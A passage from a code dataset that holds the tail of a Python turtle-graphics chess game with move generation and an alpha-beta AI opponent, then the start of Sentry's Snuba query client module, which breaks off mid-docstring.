dst))\n elif dst&op_color == op_color:\n move = Move(src_ind, dst_ind, src, dst)\n moves.append(move)\n self.capture_moves.append(move)\n dst_ind = src_ind+15\n if (dst_ind) < 64 and (m8) != 0:\n dst = self.board[dst_ind]\n if dst == Piece.Nothing:\n moves.append(Move(src_ind, dst_ind, src, dst))\n elif dst&op_color == op_color:\n move = Move(src_ind, dst_ind, src, dst)\n moves.append(move)\n self.capture_moves.append(move)\n dst_ind = src_ind+6\n if (dst_ind) < 64 and (m8) > 1:\n dst = self.board[dst_ind]\n if dst == Piece.Nothing:\n moves.append(Move(src_ind, dst_ind, src, dst))\n elif dst&op_color == op_color:\n move = Move(src_ind, dst_ind, src, dst)\n moves.append(move)\n self.capture_moves.append(move)\n dst_ind = src_ind+10\n if (dst_ind) < 64 and (m8) < 6:\n dst = self.board[dst_ind]\n if dst == Piece.Nothing:\n moves.append(Move(src_ind, dst_ind, src, dst))\n elif dst&op_color == op_color:\n move = Move(src_ind, dst_ind, src, dst)\n moves.append(move)\n self.capture_moves.append(move)\n dst_ind = src_ind-15\n if (dst_ind) >= 0 and (m8) != 7:\n dst = self.board[dst_ind]\n if dst == Piece.Nothing:\n moves.append(Move(src_ind, dst_ind, src, dst))\n elif dst&op_color == op_color:\n move = Move(src_ind, dst_ind, src, dst)\n moves.append(move)\n self.capture_moves.append(move)\n dst_ind = src_ind-17\n if (dst_ind) >= 0 and (m8) != 0:\n dst = self.board[dst_ind]\n if dst == Piece.Nothing:\n moves.append(Move(src_ind, dst_ind, src, dst))\n elif dst&op_color == op_color:\n move = Move(src_ind, dst_ind, src, dst)\n moves.append(move)\n self.capture_moves.append(move)\n dst_ind = src_ind-6\n if (dst_ind) >= 0 and (m8) < 6:\n dst = self.board[dst_ind]\n if dst == Piece.Nothing:\n moves.append(Move(src_ind, dst_ind, src, dst))\n elif dst&op_color == op_color:\n move = Move(src_ind, dst_ind, src, dst)\n moves.append(move)\n self.capture_moves.append(move)\n dst_ind = src_ind-10\n if (dst_ind) >= 0 and (m8) > 1:\n dst = self.board[dst_ind]\n if dst == Piece.Nothing:\n moves.append(Move(src_ind, dst_ind, src, dst))\n elif dst&op_color == op_color:\n move = Move(src_ind, dst_ind, src, dst)\n moves.append(move)\n self.capture_moves.append(move)\n\n # checks if dist number squares in both vertical directions\n # can be moved to and adds them to valid moves if so\n def check_vertical(self, dist, src_ind, moves):\n src = self.board[src_ind]\n if src&7 == Piece.King:\n k_c = self.king_castle[src]\n else:\n k_c = False\n if src&7 == Piece.Rook and (src_ind in self.rook_castle.keys()):\n r_c = [src_ind, self.rook_castle[src_ind]]\n else:\n r_c = False\n for i in range(1, dist+1):\n dst_ind = src_ind+i*8\n if (dst_ind) > 63:\n break\n dst = self.board[dst_ind]\n if dst&self.turn_color == self.turn_color:\n break\n if dst == Piece.Nothing:\n moves.append(Move(src_ind, dst_ind, src, dst, king_c=k_c, rook_c=r_c))\n else:\n move = Move(src_ind, dst_ind, src, dst, king_c=k_c)\n moves.append(move)\n self.capture_moves.append(move)\n break\n for i in range(1, dist+1):\n dst_ind = src_ind-i*8\n if (dst_ind) < 0:\n break\n dst = self.board[dst_ind]\n if dst&self.turn_color == self.turn_color:\n break\n if dst == Piece.Nothing:\n moves.append(Move(src_ind, dst_ind, src, dst, king_c=k_c, rook_c=r_c))\n else:\n move = Move(src_ind, dst_ind, src, dst, king_c=k_c)\n moves.append(move)\n self.capture_moves.append(move)\n break\n\n # checks if dist number squares in both horizontal directions\n # can be moved to and adds them to valid moves if so\n def check_horizontal(self, dist, src_ind, moves):\n src = self.board[src_ind]\n if src&7 == Piece.King:\n k_c = self.king_castle[src]\n else:\n k_c = False\n if src&7 == Piece.Rook and (src_ind in self.rook_castle.keys()):\n r_c = [src_ind, self.rook_castle[src_ind]]\n else:\n r_c = False\n for i in range(1, dist+1):\n dst_ind = src_ind+i\n if ((dst_ind) > 63) or (((dst_ind)%8) == 0):\n break\n dst = self.board[dst_ind]\n if dst&self.turn_color == self.turn_color:\n break\n if dst == Piece.Nothing:\n moves.append(Move(src_ind, dst_ind, src, dst, king_c=k_c,rook_c=r_c))\n else:\n move = Move(src_ind, dst_ind, src, dst, king_c=k_c)\n moves.append(move)\n self.capture_moves.append(move)\n break\n\n for i in range(1, dist+1):\n dst_ind = src_ind-i\n if ((dst_ind) < 0) or (((dst_ind)%8) == 7):\n break\n dst = self.board[dst_ind]\n if dst&self.turn_color == self.turn_color:\n break\n if dst == Piece.Nothing:\n moves.append(Move(src_ind, dst_ind, src, dst, king_c=k_c,rook_c=r_c))\n else:\n move = Move(src_ind, dst_ind, src, dst, king_c=k_c)\n moves.append(move)\n self.capture_moves.append(move)\n break\n\n # checks if dist number squares in all diagonals\n # can be moved to and adds them to valid moves if so\n def check_diagonals(self, dist, src_ind, moves):\n # check a certain distance in each diagonal direction\n # if the index is out of bounds, break\n # if there is a same colored piece in the way, break\n # if there is an empty square, add that move\n # if there is an enemy piece, add that move then break\n src = self.board[src_ind]\n if src&7 == Piece.King:\n k_c = self.king_castle[src]\n else:\n k_c = False\n for i in range(1, dist+1):\n dst_ind = src_ind-i*7\n if (dst_ind) < 0 or ((dst_ind)%8) == 0:\n break\n dst = self.board[dst_ind]\n if dst&self.turn_color == self.turn_color:\n break\n if dst == Piece.Nothing:\n moves.append(Move(src_ind, dst_ind, src, dst, king_c=k_c))\n else:\n move = Move(src_ind, dst_ind, src, dst, king_c=k_c)\n moves.append(move)\n self.capture_moves.append(move)\n break\n for i in range(1, dist+1):\n dst_ind = src_ind-i*9\n if (dst_ind) < 0 or ((dst_ind)%8) == 7:\n break\n dst = self.board[dst_ind]\n if dst&self.turn_color == self.turn_color:\n break\n if dst == Piece.Nothing:\n moves.append(Move(src_ind, dst_ind, src, dst, king_c=k_c))\n else:\n move = Move(src_ind, dst_ind, src, dst, king_c=k_c)\n moves.append(move)\n self.capture_moves.append(move)\n break\n for i in range(1, dist+1):\n dst_ind = src_ind+i*7\n if (dst_ind) > 63 or ((dst_ind)%8) == 7:\n break\n dst = self.board[dst_ind]\n if dst&self.turn_color == self.turn_color:\n break\n if dst == Piece.Nothing:\n moves.append(Move(src_ind, dst_ind, src, dst, king_c=k_c))\n else:\n move = Move(src_ind, dst_ind, src, dst, king_c=k_c)\n moves.append(move)\n self.capture_moves.append(move)\n break\n for i in range(1, dist+1):\n dst_ind = src_ind+i*9\n if (dst_ind) > 63 or ((dst_ind)%8) == 0:\n break\n dst = self.board[dst_ind]\n if dst&self.turn_color == self.turn_color:\n break\n if dst == Piece.Nothing:\n moves.append(Move(src_ind, dst_ind, src, dst, king_c=k_c))\n else:\n move = Move(src_ind, dst_ind, src, dst, king_c=k_c)\n moves.append(move)\n self.capture_moves.append(move)\n break\n\n # checks for instances of check or checkmate\n def check_for_check(self, moves):\n remove_moves = []\n for move in moves:\n self.move_piece(move, test=True)\n new_moves = self.generate_all_moves()\n self.undo_move_piece(test=True)\n for o_move in new_moves:\n if move.castle:\n if move.dst%8 == 6:\n offset = -1\n else:\n offset = 1\n if (o_move.dst == move.src) or (o_move.dst == (move.dst+offset)):\n remove_moves.append(move)\n break\n if o_move.dst_p == self.turn_color|Piece.King:\n remove_moves.append(move)\n break\n for move in remove_moves:\n moves.remove(move)\n if move in self.capture_moves:\n self.capture_moves.remove(move)\n \n # generates moves to be used in the main loop\n def generate_all_moves(self):\n # sets up for the moves\n all_moves = []\n self.capture_moves = []\n # iterates through the board\n for src in range(0, 64):\n # grabs the piece from the board index\n piece = self.board[src]\n # checks that the color of the piece is proper\n if (piece&self.turn_color) == self.turn_color:\n # isolates the piece type\n p = piece&7\n # checks which piece it is and calls the proper functions\n if p == Piece.King:\n self.check_diagonals(1, src, all_moves)\n self.check_horizontal(1, src, all_moves)\n self.check_vertical(1, src, all_moves)\n self.check_castle(src, all_moves)\n elif p == Piece.Queen:\n self.check_diagonals(8, src, all_moves)\n self.check_horizontal(8, src, all_moves)\n self.check_vertical(8, src, all_moves)\n elif p == Piece.Bishop:\n self.check_diagonals(8, src, all_moves)\n elif p == Piece.Knight:\n self.check_knight(src, all_moves)\n elif p == Piece.Rook:\n self.check_vertical(8, src, all_moves)\n self.check_horizontal(8, src, all_moves)\n elif p == Piece.Pawn:\n self.check_pawn(src, all_moves)\n return all_moves\n\n def reset_helper(self, x, y):\n sc.onclick(None)\n for stamp in self.stamp_ids:\n tr.clearstamp(stamp)\n self.stamp_ids = []\n sc.onclick(self.start_square)\n sc.onclick(None, RIGHT_CLICK)\n sc.onkeypress(self.undo_move_piece, \"z\")\n\n def change_turn(self, test=False, promoted=False):\n self.turn_color = Piece.color_relation[self.turn_color][2]\n\n values = {\n Piece.Pawn: 1, Piece.Bishop: 3, Piece.Knight: 3,\n Piece.Rook: 5, Piece.Queen: 9\n }\n total_white = 1*8 + 4*3 + 2*5 + 1*9\n total_black = total_white \n for piece in self.pieces_taken:\n if piece&24 == Piece.White:\n total_white -= values[piece&7]\n else:\n total_black -= values[piece&7]\n if total_white <= 15 and total_black <= 15:\n self.mid_game = False\n\n if not test:\n self.switch_turn_turtle(promoted=promoted)\n sc.onclick(self.start_square)\n self.ai_turn = not self.ai_turn\n\n def undo_move_piece(self, test=False):\n sc.onkeypress(None, \"z\")\n if self.last_moves:\n if not test:\n sc.onclick(None)\n move = self.last_moves.pop()\n if move.dst_p != Piece.Nothing:\n self.pieces_taken.remove(move.dst_p)\n if move.dst_p&24 == Piece.Black:\n self.white_captured -= 1\n else:\n self.black_captured -= 1\n\n if move.src_p&24 == Piece.White:\n self.white_moves -= 1\n else:\n self.black_moves -= 1\n\n self.board[move.src] = move.src_p\n self.board[move.dst] = move.dst_p\n\n if move.castle:\n self.board[move.castle[0]] = (move.src_p&24)|Piece.Rook\n self.board[move.castle[1]] = 0\n \n if move.src_p&7 == Piece.King:\n self.king_castle[move.src_p] = move.king_c\n\n if move.rook_c:\n self.rook_castle[move.rook_c[0]] = move.rook_c[1]\n\n if move.en_passant:\n self.board[move.en_passant[0]] = move.en_passant[1]\n\n if not test:\n self.update_pieces()\n \n self.change_turn(test)\n sc.onkeypress(self.undo_move_piece, \"z\")\n\n # helper for doing work to move when castling\n def move_castle(self, move, test=False):\n self.board[move.castle[1]] = self.board[move.castle[0]]\n self.board[move.castle[0]] = 0\n\n # does the work to move a piece\n # updates board rep and values for the squares\n def move_piece(self, move, test=False):\n if move.castle:\n self.move_castle(move, test)\n\n if move.src_p&7 == Piece.King:\n self.king_castle[move.src_p] = False \n\n if move.rook_c:\n self.rook_castle[move.rook_c[0]] = False\n\n self.last_moves.append(move)\n\n if move.dst_p != Piece.Nothing:\n self.pieces_taken.append(move.dst_p)\n if move.dst_p&24 == Piece.Black:\n self.white_captured += 1\n else:\n self.black_captured += 1\n \n if move.src_p&24 == Piece.White:\n self.white_moves += 1\n else:\n self.black_moves += 1\n\n self.board[move.dst] = move.src_p\n self.board[move.src] = 0\n\n if move.en_passant:\n if move.en_passant[1]&24 == Piece.White:\n self.black_captured += 1\n else:\n self.white_captured += 1\n self.board[move.en_passant[0]] = 0\n\n if not test:\n self.update_pieces()\n if not move.promote:\n self.change_turn(test=test)\n else:\n if not test:\n self.switch_turn_turtle()\n if self.ai_turn:\n self.promote_piece()\n\n # does work for selecting the destination square after selecting a piece\n def destination_square(self, x, y):\n sc.onkeypress(None, \"z\")\n for rank in range(0,8):\n for file in range(0,8):\n lx, ty = self.startx+(file*100), self.starty-(rank*100)\n rx, by = lx + 100, ty - 100\n index = rank*8+file\n if (lx <= x <= rx) and (ty >= y >= by):\n for move in self.selected_moves:\n if move.dst == index:\n sc.onclick(None)\n\n self.selected_moves = []\n for stamp in self.stamp_ids:\n tr.clearstamp(stamp)\n self.stamp_ids = []\n self.move_piece(move)\n sc.onclick(None, RIGHT_CLICK)\n self.all_moves = []\n if move.promote:\n print(\"promoting\")\n sc.onclick(None)\n sc.onclick(self.promote_piece)\n elif self.mode == 'ai':\n sc.onclick(None)\n self.ai_play()\n break\n\n # does work for selecting the piece to move\n def start_square(self, x=10000, y=100000):\n print(\"gen\")\n self.all_moves = self.generate_all_moves()\n self.check_for_check(self.all_moves)\n if len(self.all_moves) == 0:\n self.game_over()\n valid = False\n sc.onkeypress(None, \"z\")\n sc.onkeypress(self.undo_move_piece, \"z\")\n # loops through the squares\n for rank in range(0, 8):\n for file in range(0, 8):\n lx, ty = self.startx+(file*100), self.starty-(rank*100)\n rx, by = lx + 100, ty - 100\n index = rank*8+file\n # checks that the coordinates passed in through the onclick are within the bounds of any square\n # and that the color of the clicked on square corresponds to the color of the current turn\n if (lx <= x <= rx) and (ty >= y >= by) and ((self.board[index]&24) == self.turn_color):\n # prints which piece is selected\n # some nice things for castling\n # resets the valid_moves list\n self.selected_index = index\n\n # generates the moves for the specified piece \n # those moves are stored in the valid moves class attribute\n self.selected_moves = []\n for move in self.all_moves:\n if move.src == index:\n self.selected_moves.append(move)\n\n # if there is at least one move, move on to the next function, otherwise, \n # wait for another click and restart process\n if self.selected_moves:\n # displays on the board the possible moves found from the previous call\n self.display_possible_moves()\n valid = True\n break\n\n # if a move was found, redirect the next click to a different function\n # this next click will correspond to where the clicked piece should be sent\n if valid:\n sc.onclick(None)\n sc.onclick(self.destination_square)\n # onclick is in case you want to decide you want to move a different piece\n # rightclicking after this point will restart this function and \n # will allow you to pick a new piece\n sc.onclick(self.reset_helper, RIGHT_CLICK)\n\n def evaluate(self, board, curr_move, first=None):\n self.leaves_reached += 1\n val = 0\n if curr_move.src_p&7 == Piece.King:\n val += Piece.square_values[Piece.King][board.mid_game][curr_move.dst]\n else:\n val += Piece.square_values[curr_move.src_p&7][curr_move.dst]\n for piece in board.board:\n val += Piece.values[piece]\n val += len(board.all_moves)*5*Piece.color_relation[board.turn_color][0]\n if first == None:\n return val\n else:\n return [val, first]\n\n def get_move_from_eval(self, moves):\n todo = []\n max_val = -math.inf\n for move in self.all_moves:\n self.move_piece(move, test=True)\n moves = self.generate_all_moves()\n self.check_for_check(moves)\n val = self.evaluate(self, move)\n self.undo_move_piece(test=True)\n if val > max_val:\n max_val = val\n todo = [move]\n elif val == max_val:\n todo.append(move)\n if len(todo) == 1:\n return todo[0]\n else:\n ind = random.randint(0, len(todo)-1)\n return todo[ind]\n\n def get_random_move(self, moves):\n move_ind = random.randint(0, len(moves)-1)\n move = moves[move_ind]\n return move\n\n def evaluate_search(self, board, curr_move, depth, alpha=-math.inf, beta=math.inf):\n if depth == 0:\n board.all_moves = board.generate_all_moves()\n board.check_for_check(board.all_moves)\n return self.evaluate(board, curr_move)\n \n all_moves = board.generate_all_moves()\n board.check_for_check(all_moves)\n if len(all_moves) == 0:\n return -math.inf\n for move in all_moves:\n board.move_piece(move, test=True)\n val = -self.evaluate_search(board, move, depth-1, -beta, -alpha)\n board.undo_move_piece(test=True)\n if val >= beta:\n return beta\n alpha = max(alpha, val)\n return alpha\n \n\n def get_move_from_search(self, moves, depth):\n max_val = -math.inf\n all_moves = copy.deepcopy(moves)\n board = copy.deepcopy(self)\n best_move = []\n alpha = -math.inf\n beta = math.inf\n for move in moves:\n first_move = move\n board.move_piece(move,test=True)\n val = -self.evaluate_search(board, move, depth-1, -beta, -alpha)\n board.undo_move_piece(test=False)\n if val >= beta:\n continue\n if val > alpha:\n alpha = val\n best_move = [move]\n elif val == alpha:\n best_move.append(move)\n print(self.leaves_reached)\n print(alpha)\n if len(best_move) == 1:\n return best_move[0]\n else:\n ind = random.randint(0, len(best_move)-1)\n return best_move[ind]\n\n\n def ai_play(self):\n print(\"AI TURN\")\n self.all_moves = self.generate_all_moves()\n self.check_for_check(self.all_moves)\n if len(self.all_moves) == 0:\n self.game_over()\n \n if self.ai_ver == 1:\n print(\"ver 1\")\n random.seed(\"pissing\")\n move = self.get_random_move(self.all_moves)\n self.move_piece(move)\n elif self.ai_ver == 2:\n print(\"ver 2\")\n move = self.get_move_from_eval(self.all_moves)\n self.move_piece(move)\n elif self.ai_ver == 3:\n print(\"ver 3\")\n move = self.get_move_from_search(self.all_moves, DEPTH)\n self.move_piece(move)\n \n self.all_moves = []\n\n def game_over(self):\n self.time_end = time.perf_counter()\n tr.penup()\n tr.goto(0,0)\n tr.pendown()\n tr.shape(\"square\")\n tr.shapesize(15,15,3)\n tr.color(\"#f5edb8\")\n tr.pencolor('black')\n tr.stamp()\n tr.goto(0,-25)\n tr.color('#591015')\n if self.turn_color == Piece.White:\n writetext = \"Black Wins!\"\n else:\n writetext = \"White Wins!\"\n tr.write(writetext, True, align=\"center\", font=('Arial', 30, 'italic'))\n sc.onclick(None)\n sc.onclick(None,RIGHT_CLICK)\n sc.onkeypress(None,'z')\n sc.onkeypress(self.exit_game, \"q\")\n\n print(\"-----Game Stats-----\")\n print(\"Total Time: {}\".format(math.ceil(self.time_end-self.time_start)))\n print(\"White Made {} Moves.\".format(self.white_moves))\n print(\"White Captured {} Black Pieces.\".format(self.white_captured))\n print(\"Black Made {} Moves.\".format(self.black_moves))\n print(\"Black Captured {} White Pieces.\".format(self.black_captured))\n\n # restarts the game by calling the new_game function\n def restart_game(self):\n turn_tr.undo()\n chess.new_game(self.mode, self.ai_ver, restart=True)\n\n # exits the game by closing the screen\n def exit_game(self):\n sc.bye()","repo_name":"Syvven/CSCI4511W-Chess-Project","sub_path":"updated-files/board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":35888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"30532479478","text":"from __future__ import absolute_import\n\nfrom collections import namedtuple, OrderedDict\nfrom copy import deepcopy\nfrom contextlib import contextmanager\nfrom datetime import datetime, timedelta\nfrom dateutil.parser import parse as parse_datetime\nimport functools\nimport os\nimport pytz\nimport re\nimport six\nimport time\nimport urllib3\nimport sentry_sdk\n\nfrom concurrent.futures import ThreadPoolExecutor\nfrom django.conf import settings\nfrom six.moves.urllib.parse import urlparse\n\nfrom sentry import quotas\nfrom sentry.models import (\n Environment,\n Group,\n GroupRelease,\n Organization,\n Project,\n ProjectKey,\n Release,\n ReleaseProject,\n)\nfrom sentry.net.http import connection_from_url\nfrom sentry.utils import metrics, json\nfrom sentry.utils.dates import to_timestamp\nfrom sentry.snuba.events import Columns\nfrom sentry.snuba.dataset import Dataset\nfrom sentry.utils.compat import map\n\n# TODO remove this when Snuba accepts more than 500 issues\nMAX_ISSUES = 500\nMAX_HASHES = 5000\n\nSAFE_FUNCTION_RE = re.compile(r\"-?[a-zA-Z_][a-zA-Z0-9_]*$\")\nQUOTED_LITERAL_RE = re.compile(r\"^'.*'$\")\n\n# Global Snuba request option override dictionary. Only intended\n# to be used with the `options_override` contextmanager below.\n# NOT THREAD SAFE!\nOVERRIDE_OPTIONS = {\n \"consistent\": os.environ.get(\"SENTRY_SNUBA_CONSISTENT\", \"false\").lower() in (\"true\", \"1\")\n}\n\n# There are several cases here where we support both a top level column name and\n# a tag with the same name. Existing search patterns expect to refer to the tag,\n# so we support .name to refer to the top level column name.\nSENTRY_SNUBA_MAP = {\n col.value.alias: col.value.event_name for col in Columns if col.value.event_name is not None\n}\n\n\n# This maps the public column aliases to the discover dataset column names.\n# Longer term we would like to not expose the transactions dataset directly\n# to end users and instead have all ad-hoc queries go through the discover\n# dataset.\nDISCOVER_COLUMN_MAP = {\n col.value.alias: col.value.discover_name\n for col in Columns\n if col.value.discover_name is not None\n}\n\n\nDATASETS = {Dataset.Events: SENTRY_SNUBA_MAP, Dataset.Discover: DISCOVER_COLUMN_MAP}\n\n# Store the internal field names to save work later on.\n# Add `group_id` to the events dataset list as we don't want to publically\n# expose that field, but it is used by eventstore and other internals.\nDATASET_FIELDS = {\n Dataset.Events: list(SENTRY_SNUBA_MAP.values()),\n Dataset.Discover: list(DISCOVER_COLUMN_MAP.values()),\n}\n\n\nclass SnubaError(Exception):\n pass\n\n\nclass UnqualifiedQueryError(SnubaError):\n \"\"\"\n Exception raised when a required qualification was not satisfied in the query.\n \"\"\"\n\n\nclass UnexpectedResponseError(SnubaError):\n \"\"\"\n Exception raised when the Snuba API server returns an unexpected response\n type (e.g. not JSON.)\n \"\"\"\n\n\nclass QueryExecutionError(SnubaError):\n \"\"\"\n Exception raised when a query failed to execute.\n \"\"\"\n\n\nclass RateLimitExceeded(SnubaError):\n \"\"\"\n Exception raised when a query cannot be executed due to rate limits.\n \"\"\"\n\n\nclass SchemaValidationError(QueryExecutionError):\n \"\"\"\n Exception raised when a query is not valid.\n \"\"\"\n\n\nclass QueryMemoryLimitExceeded(QueryExecutionError):\n \"\"\"\n Exception raised when a query would exceed the memory limit.\n \"\"\"\n\n\nclass QueryIllegalTypeOfArgument(QueryExecutionError):\n \"\"\"\n Exception raised when a function in the query is provided an invalid\n argument type.\n \"\"\"\n\n\nclass QueryTooManySimultaneous(QueryExecutionError):\n \"\"\"\n Exception raised when a query is rejected due to too many simultaneous\n queries being performed on the database.\n \"\"\"\n\n\nclickhouse_error_codes_map = {\n 43: QueryIllegalTypeOfArgument,\n 241: QueryMemoryLimitExceeded,\n 202: QueryTooManySimultaneous,\n}\n\n\nclass QueryOutsideRetentionError(Exception):\n pass\n\n\nclass QueryOutsideGroupActivityError(Exception):\n pass\n\n\nSnubaTSResult = namedtuple(\"SnubaTSResult\", (\"data\", \"start\", \"end\", \"rollup\"))\n\n\n@contextmanager\ndef timer(name, prefix=\"snuba.client\"):\n t = time.time()\n try:\n yield\n finally:\n metrics.timing(u\"{}.{}\".format(prefix, name), time.time() - t)\n\n\n@contextmanager\ndef options_override(overrides):\n \"\"\"\\\n NOT THREAD SAFE!\n\n Adds to OVERRIDE_OPTIONS, restoring previous values and removing\n keys that didn't previously exist on exit, so that calls to this\n can be nested.\n \"\"\"\n previous = {}\n delete = []\n\n for k, v in overrides.items():\n try:\n previous[k] = OVERRIDE_OPTIONS[k]\n except KeyError:\n delete.append(k)\n OVERRIDE_OPTIONS[k] = v\n\n try:\n yield\n finally:\n for k, v in previous.items():\n OVERRIDE_OPTIONS[k] = v\n for k in delete:\n OVERRIDE_OPTIONS.pop(k)\n\n\nclass RetrySkipTimeout(urllib3.Retry):\n \"\"\"\n urllib3 Retry class does not allow us to retry on read errors but to exclude\n read timeout. Retrying after a timeout adds useless load to Snuba.\n \"\"\"\n\n def increment(\n self, method=None, url=None, response=None, error=None, _pool=None, _stacktrace=None\n ):\n \"\"\"\n Just rely on the parent class unless we have a read timeout. In that case\n immediately give up\n \"\"\"\n if error and isinstance(error, urllib3.exceptions.ReadTimeoutError):\n raise six.reraise(type(error), error, _stacktrace)\n\n metrics.incr(\n \"snuba.client.retry\",\n tags={\"method\": method, \"path\": urlparse(url).path if url else None},\n )\n return super(RetrySkipTimeout, self).increment(\n method=method,\n url=url,\n response=response,\n error=error,\n _pool=_pool,\n _stacktrace=_stacktrace,\n )\n\n\n_snuba_pool = connection_from_url(\n settings.SENTRY_SNUBA,\n retries=RetrySkipTimeout(\n total=5,\n # Our calls to snuba frequently fail due to network issues. We want to\n # automatically retry most requests. Some of our POSTs and all of our DELETEs\n # do cause mutations, but we have other things in place to handle duplicate\n # mutations.\n method_whitelist={\"GET\", \"POST\", \"DELETE\"},\n ),\n timeout=30,\n maxsize=10,\n)\n_query_thread_pool = ThreadPoolExecutor(max_workers=10)\n\n\nepoch_naive = datetime(1970, 1, 1, tzinfo=None)\n\n\ndef to_naive_timestamp(value):\n \"\"\"\n Convert a time zone aware datetime to a POSIX timestamp (with fractional\n component.)\n \"\"\"\n return (value - epoch_naive).total_seconds()\n\n\ndef get_snuba_column_name(name, dataset=Dataset.Events):\n \"\"\"\n Get corresponding Snuba column name from Sentry snuba map, if not found\n the column is assumed to be a tag. If name is falsy or name is a quoted literal\n (e.g. \"'name'\"), leave unchanged.\n \"\"\"\n no_conversion = set([\"group_id\", \"project_id\", \"start\", \"end\"])\n\n if name in no_conversion:\n return name\n\n if not name or QUOTED_LITERAL_RE.match(name):\n return name\n\n return DATASETS[dataset].get(name, u\"tags[{}]\".format(name))\n\n\ndef get_function_index(column_expr, depth=0):\n \"\"\"\n If column_expr list contains a function, returns the index of its function name\n within column_expr (and assumption is that index + 1 is the list of arguments),\n otherwise None.\n\n A function expression is of the form:\n [func, [arg1, arg2]] => func(arg1, arg2)\n If a string argument is followed by list arg, the pair of them is assumed\n to be a nested function call, with extra args to the outer function afterward.\n [func1, [func2, [arg1, arg2], arg3]] => func1(func2(arg1, arg2), arg3)\n Although at the top level, there is no outer function call, and the optional\n 3rd argument is interpreted as an alias for the entire expression.\n [func, [arg1], alias] => function(arg1) AS alias\n You can also have a function part of an argument list:\n [func1, [arg1, func2, [arg2, arg3]]] => func1(arg1, func2(arg2, arg3))\n \"\"\"\n index = None\n if isinstance(column_expr, (tuple, list)):\n i = 0\n while i < len(column_expr) - 1:\n # The assumption here is that a list that follows a string means\n # the string is a function name\n if isinstance(column_expr[i], six.string_types) and isinstance(\n column_expr[i + 1], (tuple, list)\n ):\n assert SAFE_FUNCTION_RE.match(column_expr[i])\n index = i\n break\n else:\n i = i + 1\n\n return index\n else:\n return None\n\n\ndef get_arrayjoin(column):\n match = re.match(r\"^(exception_stacks|exception_frames|contexts)\\..+$\", column)\n if match:\n return match.groups()[0]\n\n\ndef get_query_params_to_update_for_projects(query_params):\n \"\"\"\n Get the project ID and query params that need to be updated for project\n based datasets, before we send the query to Snuba.\n \"\"\"\n if \"project_id\" in query_params.filter_keys:\n # If we are given a set of project ids, use those directly.\n project_ids = list(set(query_params.filter_keys[\"project_id\"]))\n elif query_params.filter_keys:\n # Otherwise infer the project_ids from any related models\n with timer(\"get_related_project_ids\"):\n ids = [\n get_related_project_ids(k, query_params.filter_keys[k])\n for k in query_params.filter_keys\n ]\n project_ids = list(set.union(*map(set, ids)))\n else:\n project_ids = []\n\n if not project_ids:\n raise UnqualifiedQueryError(\n \"No project_id filter, or none could be inferred from other filters.\"\n )\n\n # any project will do, as they should all be from the same organization\n organization_id = Project.objects.get_from_cache(pk=project_ids[0]).organization_id\n\n return organization_id, {\"project\": project_ids}\n\n\ndef get_query_params_to_update_for_organizations(query_params):\n \"\"\"\n Get the organization ID and query params that need to be updated for organization\n based datasets, before we send the query to Snuba.\n \"\"\"\n if \"org_id\" in query_params.filter_keys:\n organization_ids = list(set(query_params.filter_keys[\"org_id\"]))\n if len(organization_ids) != 1:\n raise UnqualifiedQueryError(\"Multiple organization_ids found. Only one allowed.\")\n organization_id = organization_ids[0]\n elif \"project_id\" in query_params.filter_keys:\n organization_id, _ = get_query_params_to_update_for_projects(query_params)\n elif \"key_id\" in query_params.filter_keys:\n key_ids = list(set(query_params.filter_keys[\"key_id\"]))\n project_key = ProjectKey.objects.get(pk=key_ids[0])\n organization_id = project_key.project.organization_id\n else:\n organization_id = None\n\n if not organization_id:\n raise UnqualifiedQueryError(\n \"No organization_id filter, or none could be inferred from other filters.\"\n )\n\n return organization_id, {\"organization\": organization_id}\n\n\ndef _prepare_query_params(query_params):\n # convert to naive UTC datetimes, as Snuba only deals in UTC\n # and this avoids offset-naive and offset-aware issues\n start = naiveify_datetime(query_params.start)\n end = naiveify_datetime(query_params.end)\n\n with timer(\"get_snuba_map\"):\n forward, reverse = get_snuba_translators(\n query_params.filter_keys, is_grouprelease=query_params.is_grouprelease\n )\n\n if query_params.dataset in [Dataset.Events, Dataset.Discover]:\n (organization_id, params_to_update) = get_query_params_to_update_for_projects(query_params)\n elif query_params.dataset in [Dataset.Outcomes, Dataset.OutcomesRaw]:\n (organization_id, params_to_update) = get_query_params_to_update_for_organizations(\n query_params\n )\n else:\n raise UnqualifiedQueryError(\n \"No strategy found for getting an organization for the given dataset.\"\n )\n\n query_params.kwargs.update(params_to_update)\n\n for col, keys in six.iteritems(forward(deepcopy(query_params.filter_keys))):\n if keys:\n if len(keys) == 1 and None in keys:\n query_params.conditions.append((col, \"IS NULL\", None))\n else:\n query_params.conditions.append((col, \"IN\", keys))\n\n retention = quotas.get_event_retention(organization=Organization(organization_id))\n if retention:\n start = max(start, datetime.utcnow() - timedelta(days=retention))\n if start > end:\n raise QueryOutsideRetentionError\n\n # if `shrink_time_window` pushed `start` after `end` it means the user queried\n # a Group for T1 to T2 when the group was only active for T3 to T4, so the query\n # wouldn't return any results anyway\n new_start = shrink_time_window(query_params.filter_keys.get(\"group_id\"), start)\n\n # TODO (alexh) this is a quick emergency fix for an occasion where a search\n # results in only 1 django candidate, which is then passed to snuba to\n # check and we raised because of it. Remove this once we figure out why the\n # candidate was returned from django at all if it existed only outside the\n # time range of the query\n if new_start <= end:\n start = new_start\n\n if start > end:\n raise QueryOutsideGroupActivityError\n\n query_params.kwargs.update(\n {\n \"dataset\": query_params.dataset.value,\n \"from_date\": start.isoformat(),\n \"to_date\": end.isoformat(),\n \"groupby\": query_params.groupby,\n \"conditions\": query_params.conditions,\n \"aggregations\": query_params.aggregations,\n \"granularity\": query_params.rollup, # TODO name these things the same\n }\n )\n kwargs = {k: v for k, v in six.iteritems(query_params.kwargs) if v is not None}\n\n kwargs.update(OVERRIDE_OPTIONS)\n return kwargs, forward, reverse\n\n\nclass SnubaQueryParams(object):\n \"\"\"\n Represents the information needed to make a query to Snuba.\n\n `start` and `end`: The beginning and end of the query time window (required)\n\n `groupby`: A list of column names to group by.\n\n `conditions`: A list of (column, operator, literal) conditions to be passed\n to the query. Conditions that we know will not have to be translated should\n be passed this way (eg tag[foo] = bar).\n\n `filter_keys`: A dictionary of {col: [key, ...]} that will be converted\n into \"col IN (key, ...)\" conditions. These are used to restrict the query to\n known sets of project/issue/environment/release etc. Appropriate\n translations (eg. from environment model ID to environment name) are\n performed on the query, and the inverse translation performed on the\n result. The project_id(s) to restrict the query to will also be\n automatically inferred from these keys.\n\n `aggregations` a list of (aggregation_function, 